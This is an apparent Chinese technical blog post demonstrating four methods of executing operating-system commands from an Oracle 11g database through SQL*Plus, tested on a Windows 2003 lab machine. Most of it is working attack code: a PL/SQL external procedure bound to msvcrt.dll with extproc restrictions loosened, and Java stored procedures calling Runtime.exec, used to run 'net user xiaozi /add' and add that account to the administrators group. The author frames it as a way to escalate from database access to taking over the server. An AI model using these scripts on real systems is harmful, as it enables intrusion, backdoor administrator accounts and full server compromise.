首页 > 数据库 >oracle执行cmd的实现方法

oracle执行cmd的实现方法

时间:2023-04-03 23:05:04浏览次数:42  
标签:java exec RC cmd sql SQL oracle 执行


网络上找到的在sqlplus中执行cmd的一些命令,主要有四种方法,这边都做了一下测试,这里做一下记录:

测试环境:window2003+Oracle 11.2.0.1.0

第一种方法:

最简单的执行cmd命令方法,但执行的本机的cmd命令,非数据库系统的cmd命令,故和本机打开cmd命令一样,貌似没什么用。



C:\wmpub>sqlplus system/QWEasd123@testdb

SQL*Plus: Release 11.2.0.1.0 Production on 星期一 10月 31 20:37:51 2016

Copyright (c) 1982, 2010, Oracle.  All rights reserved.


连接到:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> host net user

\\TEST1 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    SUPPORT_388945a0
命令成功完成。



第二种方法:

利用msvcrt.dll

1、新建一个oracle.sql文件,保存如下内容:



Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to [email protected]
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors



2、执行oracle.sql,进一步执行cmd命令,然而却报错,默认安装情况下,用这种方法应该是没办法执行成功的,如果有高手成功的话,方便告知一下。



SQL> @oracle.sql

库已创建。

没有错误。

程序包已创建。

没有错误。

程序包体已创建。

没有错误。
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
BEGIN oracmd.exec ('dir > c:\oracle.txt'); END;

*
第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1



3、修改oracle配置

在C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora



# listener.ora Network Configuration File: C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora
# Generated by Oracle configuration tools.

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = CLRExtProc)
      (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
      (PROGRAM = extproc)
      (ENVS = "EXTPROC_DLLS=ONLY:C:\app\Administrator\product\11.2.0\dbhome_1\bin\oraclr11.dll")
    )
    (SID_DESC =
      (GLOBAL_DBNAME = testdb)
      (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
      (SID_NAME = testdb)
    )
  )



修改ENVS,为ANY



(SID_DESC =
      (SID_NAME = CLRExtProc)
      (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
      (PROGRAM = extproc)
      (ENVS = "EXTPROC_DLLS=ANY")
    )



在C:\app\Administrator\product\11.2.0\dbhome_1\hs\admin\extproc.ora

将最后一行



SET EXTPROC_DLLS=



改为



SET EXTPROC_DLLS=ANY



4、重新执行



SQL> exec oracmd.exec ('net user xiaozi xiaozi /add');

PL/SQL 过程已成功完成。



这时候命令已成功执行,这招可以用来创建数据库服务器管理员账号密码以及进一步操作,然而默认配置执行不成功实在蛋疼,除非哪个谁已经改了。

 

第三种:

新建1.sql



create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}



新建2.sql



create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';



新建3.sql



create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;



登陆上去后依旧是依次执行



SQL> @1.sql
 35  /

Java 已创建。

SQL> @2.sql
  6  /

函数已创建。

SQL> @3.sql
  7  /

过程已创建。

SQL>
SQL> variable x number;
SQL> set serveroutput on;
SQL> exec dbms_java.set_output(100000);
SQL> grant javasyspriv to system;


PL/SQL 过程已成功完成。

SQL> exec :x:=run_cmd('ipconfig');

Windows IP Configuration


Ethernet adapter 本地连接:

Connection-specific DNS Suffix  . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1

PL/SQL 过程已成功完成。



本机测试成功,拿到oracle账号,提升至dba权限,可以考虑使用这种方法拿下服务器。

下面整成一个sql文件,只需执行一步,即可获取数据库ip和管理员列表



create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/

create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/

variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
exec :x:=run_cmd('ipconfig');
exec :x:=run_cmd('net1 user');



 登陆进去执行执行脚本



SQL> @java.sql

Java 已创建。


函数已创建。


过程已创建。


PL/SQL 过程已成功完成。


授权成功。


Windows IP Configuration


Ethernet adapter 本地连接:

Connection-specific DNS Suffix  . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1

PL/SQL 过程已成功完成。

User accounts for \\
-------------------------------------------------------------------------------
Administrator            Guest                    SUPPORT_388945a0
xiaozi123
The command completed with one or more errors.

PL/SQL 过程已成功完成。



 第四种:

通过Java运行OS命令



CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/
exec javacmdproc('cmd.exe /c net user xiaozi 123 /add');
exec javacmdproc('cmd.exe /c net localgroup administrators xiaozi /add');



账号创建成功,如下图:

oracle执行cmd的实现方法_java

 

不同的方法需要不同的权限要求,dba权限下,无视。

 第三第四种方法需要有javasyspriv才能正确执行

SQL> grant javasyspriv to scott;

SQL> revoke javasyspriv from scott;

 

参考文章:


Oracle 10g版本SCOTT用户提升DBA权限实战图文:http://niuzu.blog.51cto.com/3006825/607657/









标签:java,exec,RC,cmd,sql,SQL,oracle,执行
From: https://blog.51cto.com/bypass/6167685

相关文章

  • Oracle 10g提权测试
    一直想摸索一下orcl提权的方式,今天测试了一下10g,可以成功提权。 C:\wmpub>sqlplusscott/tiger@orclSQL*Plus:Release10.2.0.1.0-Productionon星期一10月3107:41:292016Copyright(c)1982,2005,Oracle.Allrightsreserved.连接到:OracleDatabase10gEnterpriseE......
  • 搭建redis主从复制集群环境时,当从库执行slaveof命令时报错“Error condition on socke
    问题描述:搭建redis主从复制集群环境时,当从库执行slaveof命令时报错“ErrorconditiononsocketforSYNC:Noroutetohost”,如下所示:操作系统:rhel7.964位数据库:redis6.2.6主机名:主库leo-redis626-a,从库leo-redis626-b.1、异常重现[[email protected]]#p......
  • NBU上Oracle数据库恢复演练手册
    目录2. 1|01.1 Oracle数据库恢复 43.1 1|11.1.1 安装新的客户端 63.2 1|21.1.2 新建异机恢复文件 63.3 1|31.1.3 新建数据库实例 63.4 1|41.1.4 建立spfile文件 63.5 1|51.1.5 建立数据文件夹 113.6 1|61.1.6 启动数据库到nomount状态 123.7 1|71.1.7 列出备份信......
  • Oracle11G安装在Linux7.下版本上BUG处理
    1.Java页面框无法拖拽拉伸,需要加上jre环境变量./runInstaller-jreLoc/usr/lib/jvm/jre-1.8.02.安装执行到68%左右时报错解决方法:cd$ORACLE_HOME/sysman/libcpins_emagent.mkins_emagent.mk.bakviins_emagent.mk搜索:/NMECTL后面加上-lnnz11继续安装即可......
  • macOS 运行xxx.command文件提示”无法执行,因为您没有正确的访问权限“解决方法
    使用苹果mac电脑运行.command文件时,是否遇到弹出”无法执行,因为您没有正确的访问权限“的窗口?遇到这种问题怎么解决呢?这里小编为大家带来了详细的解决方法,一起来看看吧!解决方法:方法一:打开终端工具,输入以下命令:sudosh注意后面有空格然后再把.command文件直接拖入终端按回车......
  • 7.Oracle里的常见的执行计划
    索引唯一扫描:indexuniquescanscott@ORCLPDB012023-04-0222:44:32>createtableemployee(gendervarchar2(1),employee_idnumber);Tablecreated.Elapsed:00:00:00.05scott@ORCLPDB012023-04-0222:45:05>insertintoemployeevalues('F','99......
  • cmd命令记录
    命令查看iispidc:\windows\system32\inetsrv\appcmdlistwp查看端口使用情况:netstat-ano所有端口的情况netstat-aon|findstr"49157"查看指定端口的使用情况,最后一位数字,即PIDtasklist|findstr"2720"查看PID的信息打开用户组win+Rlusrmgr.msc远程无法复制win+Rrdpcli......
  • ORACLE PL/SQL 程序包的创建与应用
    原文地址:https://www.cnblogs.com/huyong/archive/2011/05/26/2057973.html本篇主要内容如下:第七章  程序包的创建和应用7.1  程序包简介7.2  程序包的定义7.3  包的开发步骤7.4  包定义的说明7.5  子程序重载7.6  加密实用程序7.7  删除包7.8  包的......
  • ORACLE之PACKAGE-包、存储过程、函数
    原文地址:https://www.cnblogs.com/hoaprox/p/5316444.html1,简单的包。创建包规范:createorreplacepackagepack_test1is--定义过程1procedurep_test1(p_1invarchar2);--定义函数1functionf_test1(p_1invarchar2)returnvarchar2;endpack_test1;......
  • win10计划任务程序库实现定时任务的自动执行程序及问题解决。
    win10计划任务程序库可以实现按照规则频率执行脚本的功能。现在将设置方法记录如下:创建任务步骤1、右键点击我的电脑,选择管理,依次点击:系统工具-》任务计划程序-》任务计划程序库。 2、点击最右侧操作中的创建基本任务,打开下面的弹窗。 3、创建任务的基本信息,下一步选择......